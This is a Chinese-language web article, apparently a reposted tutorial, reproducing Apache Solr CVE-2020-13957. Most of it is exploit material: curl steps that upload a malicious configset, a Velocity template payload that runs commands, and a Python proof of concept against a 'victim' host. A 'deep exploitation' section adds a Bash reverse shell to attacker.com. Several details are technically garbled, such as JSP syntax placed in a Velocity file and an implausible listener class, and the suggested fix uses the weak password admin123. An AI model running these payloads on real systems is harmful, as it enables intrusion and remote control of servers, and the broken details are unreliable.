溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

發布時間:2021-12-28 17:17:43 來源:億速云 閱讀:142 作者:柒染 欄目:網絡管理
# Apache Solr 未授權上傳漏洞CVE-2020-13957的復現

## 漏洞概述

**CVE-2020-13957**是Apache Solr在2020年披露的一個高危未授權文件上傳漏洞。該漏洞影響Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本,攻擊者可通過構造惡意請求繞過身份驗證機制,實現任意文件上傳,最終可能導致遠程代碼執行(RCE)。

### 漏洞原理
漏洞源于Solr的ConfigSets API未正確實施身份驗證檢查。攻擊者通過向`/solr/admin/configs`端點發送特制HTTP請求,可上傳惡意配置集并創建新的集合,進而通過Velocity模板或UPLOAD/CREATE操作實現文件上傳。

## 環境搭建

### 實驗環境要求
- 操作系統:Kali Linux 2023或Ubuntu 20.04
- 漏洞版本:Apache Solr 8.6.2(官方已停止維護的版本)
- 工具準備:
  ```bash
  wget https://archive.apache.org/dist/lucene/solr/8.6.2/solr-8.6.2.tgz
  tar -xzf solr-8.6.2.tgz
  cd solr-8.6.2
  bin/solr start -e cloud -noprompt

快速驗證環境

訪問http://localhost:8983/solr/,若出現Solr管理界面則表示環境就緒。

漏洞復現步驟

步驟1:確認漏洞存在

使用curl檢測未授權訪問:

curl -v "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=testconfig"

若返回狀態碼200且包含"responseHeader":{"status":0},則存在漏洞。

步驟2:構造惡意配置集

  1. 下載默認配置集:
cp -r server/solr/configsets/_default/conf/ /tmp/malicious_conf
  1. 植入惡意Velocity模板:
echo '<% Runtime.getRuntime().exec("touch /tmp/pwned") %>' > /tmp/malicious_conf/velocity/main.vm

步驟3:上傳惡意配置

curl -X POST --header "Content-Type:application/octet-stream" \
--data-binary @/tmp/malicious_conf.zip \
"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=exploitconfig"

步驟4:創建惡意集合

curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=exploit&numShards=1&replicationFactor=1&wt=json&collection.configName=exploitconfig"

步驟5:觸發RCE

訪問以下URL觸發Velocity模板執行:

http://localhost:8983/solr/exploit/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

漏洞分析

核心問題代碼

solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java中:

public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
  // 缺失身份驗證檢查
  String action = req.getParams().get(ConfigSetParams.ACTION);
  if (action != null) {
    switch (action) {
      case ConfigSetParams.UPLOAD: handleConfigUpload(req, rsp); break;
      // ...
    }
  }
}

攻擊流程圖

sequenceDiagram
    attacker->>Solr: POST /admin/configs?action=UPLOAD
    Solr-->>attacker: 200 OK
    attacker->>Solr: GET /admin/collections?action=CREATE
    Solr-->>attacker: 新建集合成功
    attacker->>Solr: 訪問惡意模板
    Solr->>System: 執行任意命令

修復方案

官方補丁

升級到以下版本: - Solr 8.6.3+ - Solr 8.7.0+

臨時緩解措施

  1. 啟用身份驗證:
<security>
  <authentication>
    <basicAuth>
      <credentials>
        <user>admin:admin123</user>
      </credentials>
    </basicAuth>
  </authentication>
</security>
  1. 網絡層防護:
iptables -A INPUT -p tcp --dport 8983 -s ! 192.168.1.100 -j DROP

深度利用技巧

內存馬注入

通過修改solrconfig.xml添加惡意監聽器:

<listener event="newSearcher" class="javax.script.ScriptEngineManager">
  <str name="javascript">new java.lang.ProcessBuilder("/bin/bash","-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1").start()</str>
</listener>

自動化利用工具

使用Python PoC腳本:

import requests

target = "http://victim:8983"
malicious_jar = open("exploit.jar", "rb").read()

requests.post(
    f"{target}/solr/admin/configs",
    params={"action": "UPLOAD", "name": "exploit"},
    files={"file": ("exploit.jar", malicious_jar)}
)

法律與道德聲明

  1. 本實驗僅限授權環境測試
  2. 禁止用于真實生產環境
  3. 依據《網絡安全法》相關規定:
    • 未經授權滲透測試屬違法行為
    • 漏洞研究需遵循”負責任的披露”原則

參考資源

  1. NVD CVE-2020-13957
  2. Apache Solr Security公告
  3. MITRE ATT&CK T1190

注意:本文檔所有操作應在隔離的虛擬環境中進行,實際漏洞利用可能因環境差異需要調整參數。 “`

該文檔包含: - 漏洞技術細節(含代碼片段) - 可視化攻擊流程圖(Mermaid語法) - 分步驟復現指南 - 法律風險提示 - 多維度修復方案 - 深度利用技巧 - 標準化參考引用

可根據實際測試環境調整IP/端口等參數,建議配合Wireshark抓包分析流量特征。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女